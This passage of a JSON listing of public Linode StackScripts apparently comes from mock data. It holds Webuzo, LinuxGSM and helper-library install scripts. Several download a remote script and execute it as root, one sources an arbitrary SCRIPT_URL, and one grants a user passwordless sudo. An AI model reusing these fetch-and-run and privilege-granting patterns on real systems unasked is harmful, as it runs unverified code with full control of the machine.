Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 20, "username":
"nbebout", "user_gravatar_id": "5dd8fb66331617dbbd6f90a10cdd47ac", "label":
"Fedora/CentOS Bash Library", "description": "", "ordinal": 0, "logo_url": "",
"images": ["linode/centos5.632bit", "linode/centos5.6", "linode/fedora1132bit"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash\n\n###########################################################\n#
System\n###########################################################\n\nfunction
system_update {\n yum -y update\n}\n\nfunction system_primary_ip {\n # returns
the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/
{print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host
on an IP address and returns its reverse dns\n if [ ! -e /usr/bin/host ]; then\n yum
-y install bind-utils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/
{print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns
the reverse dns of the primary IP assigned to this system\n echo $(get_rdns
$(system_primary_ip))\n}\n\nfunction install_basics {\n yum install -y jwhois
rsync openssh-clients wget\n}", "user_defined_fields": []}, {"id": 9236, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WideImage
powered by Webuzo", "description": "WideImage is an object-oriented library
for image manipulation.\r\n\r\nThe library provides a simple way to loading,
manipulating and saving images in the most common image formats. \r\n\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
WideImage and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"WideImage powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install WideImage and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About WideImage :\n# WideImage
is an object-oriented library for image manipulation.\n# The library provides
a simple way to loading, manipulating and saving images in the most common image
formats.\n###########################################################################################################\n\n#
Install WideImage Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=360&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
WideImage and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho
\"You can now configure WideImage and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193748, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"StackScript Python Library", "description": "Does nothing on its own. Do not
deploy directly.\r\n\r\nA collection of useful Python functions to be included
in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts",
"linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env
python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano
<rfeliciano@linode.com>\n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis
StackScript is not meant to be directly deployed. Includes a host of\nfunctions
to do very common task on a distro, as implemented in Python. The\nfunctions
in this library are designed to be run accross the Linode Core\nDistributions:\n\t-
Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport
fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport
subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport
yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package
manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list:
Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the
StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed
here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo
\"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef
init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t#
Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1)
# StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\",
\"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\"
&>/dev/null\nthen\n\techo \"####################################################################\"\n\techo
\"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo
\"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes
until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo
\"####################################################################\"\n\techo
\" \"\nelse\n\techo \"####################################################################\"\n\techo
\"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo
\"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located
at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo
\" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef
logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn
on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging
has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares
distro information.\n\t\n\tThis is critical to support the Linode Core Distributions
with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro
= dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname'']
= distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'',
''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname'']
in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise
NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return
IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack.
Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support
for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn
socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'',
\"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given
IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef
system_package_install(package, update_first=True):\n\t\"\"\"Install a package
with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif
distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first
else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND'']
= \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif
distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes
= True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif
distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes
= True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef
system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add
support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif
distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif
distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes
= True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif
distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes
= True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef
user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername
(String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups
(tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool:
True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t#
need to implement group functionality\n\n\treturn subprocess.call([''useradd'',
''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef
user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified
user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir
= os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith
open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif
username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields":
[]}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull
software that manages requests/incidents. It has all the needed requirements
to an efficient workflow management of all processes involved in service execution.
This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk
can be used at any company''s area, serving as an support to the shared service
center concept, beyond the ability to log all the processes and maintain the
request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk
can put together advanced managing resources with an extremely easy use. Simple
and intuitive screens make the day-by-day easier for your team, speeding up
the procedures and saving up a lot of time. It is developped in objects oriented
PHP language, with the MVC architecture and uses the templates system SMARTY.
For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control
Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or
System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines
or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure HelpDEZk
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"HelpDEZk powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install HelpDEZk and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About HelpDEZk :\n# HelpDEZk
is a powerfull software that manages requests/incidents.\n# It has all the
needed requirements to an efficient workflow management of all processes \n# involved
in service execution. This control is done for internal demands and also for
outsourced services.\n###########################################################################################################\n\n#
Install HelpDEZk Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=457&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
HelpDEZk and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, HelpDEZk has been successfully installed\"\necho \" \"\necho
\"You can now configure HelpDEZk and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10261, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SEOTOASTER
powered by Webuzo", "description": "SEOTOASTER is the most advanced SEO content
management system out of the box, so your website or Ecommerce store performs
to the maximum of its abilities when it comes to organic rankings.\r\n\r\nSEOTOASTER
is the most advanced SEO CMS & Ecommerce web site builder.\n\nWebuzo is a Single
User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal,
etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual
machines or in the cloud.\n\nYou can get a Webuzo License here\nhttp://www.webuzo.com/pricing\n\nPath
to Installation Logs : /root/webuzo-install.log\n\nInstructions\nOn completion
of the installation process, access http://your-ip:2004 to configure SEOTOASTER
and Softaculous Webuzo initially.\n\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"SEOTOASTER powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install SEOTOASTER and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About SEOTOASTER :\n# SEOTOASTER
is the most advanced SEO CMS & Ecommerce web site builder.\n###########################################################################################################\n\n#
Install SEOTOASTER Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=490&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
SEOTOASTER and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho
\"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193749, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal":
0, "logo_url": "", "images": ["linode/debian9", "linode/debian10"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n#
Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname
-I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up
a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER
ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho
Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh
-P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod
+x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\"
/home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu
- \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction
game_install {\n\n# Installing the Server\necho Installing the Server\nsu -
\"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\"
=~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$|
\\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$)
]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo
No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n#
Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure
that the gameserver is running and restart if needed.\necho Adding game update
cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER
monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER
-c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho
\"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions''
> /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd
service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash
/home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n##
Adding these for Valheim launch, will eventually replace the above code, but
for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install
{\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\"
-c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh
https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh
$gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\"
username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver
auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$|
\\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$|
\\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\"
>> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo
No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config
{\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for
updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver
is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5
* * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null
2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver
update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\"
-c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab
gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF
> /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash
/home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction
v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install
\"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config
\"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 978965,
"username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2",
"label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url":
"", "images": ["linode/arch", "linode/slackware14.2", "linode/debian10", "linode/alpine3.13"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"yegiu Update", "script": "#!/bin/bash\n\ntesting Update ", "user_defined_fields":
[]}, {"id": 8470, "username": "ichal", "user_gravatar_id": "632f7c16a5fd3a66b8909e0153856b49",
"label": "jibeg", "description": "aa", "ordinal": 0, "logo_url": "", "images":
["linode/centos6.5"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields":
[]}, {"id": 9238, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Support Incident Tracker powered by Webuzo", "description": "Support
Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application
which uses PHP and MySQL for tracking technical support calls/emails (also commonly
known as a ''Help Desk'' or ''Support Ticket System'').\r\n\r\nManage contacts,
sites, technical support contracts and support incidents in one place. Send
emails directly from SiT!, attach files and record every communication in the
incident log. SiT is aware of Service Level Agreements and incidents are flagged
if they stray outside of them. \r\n\t\t\t\r\nWebuzo is a Single User Control
Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or
System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines
or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Support
Incident Tracker and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Support Incident Tracker powered by Webuzo", "script": "#!/bin/bash\n# <udf
name=\"webuzo_license_key\" label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Support Incident Tracker and Softaculous Webuzo\n# Description -\n#
About Webuzo :\n# Webuzo is a Single User Control Panel which helps users
deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache,
NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n#
About Support Incident Tracker :\n# Support Incident Tracker (or SiT!) is
a Free Software/Open Source (GPL) web based application which uses\n# PHP
and MySQL for tracking technical support calls/emails (also commonly known as
a ''Help Desk''\n# or ''Support Ticket System'').\n###########################################################################################################\n\n#
Install Support Incident Tracker Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=409&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Support Incident Tracker and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Support Incident Tracker has been successfully installed\"\necho
\" \"\necho \"You can now configure Support Incident Tracker and Softaculous
Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho
\"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields":
[]}, {"id": 928534, "username": "acourdavault", "user_gravatar_id": "66d9a70b3232ec8f2b533584b3299ed8",
"label": "db_centos_magic_script", "description": "", "ordinal": 0, "logo_url":
"", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\t\n\nexec > /var/log/sg-stackscript.log\nexec
2>&1\t\n\nset -x\ncommand -v wget >/dev/null 2>&1 || yum install -y wget ||
exit 1\ncommand -v dos2unix >/dev/null 2>&1 || yum install -y dos2unix || exit
1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying
${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix
${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields":
[]}, {"id": 1193750, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd",
"label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal":
0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to
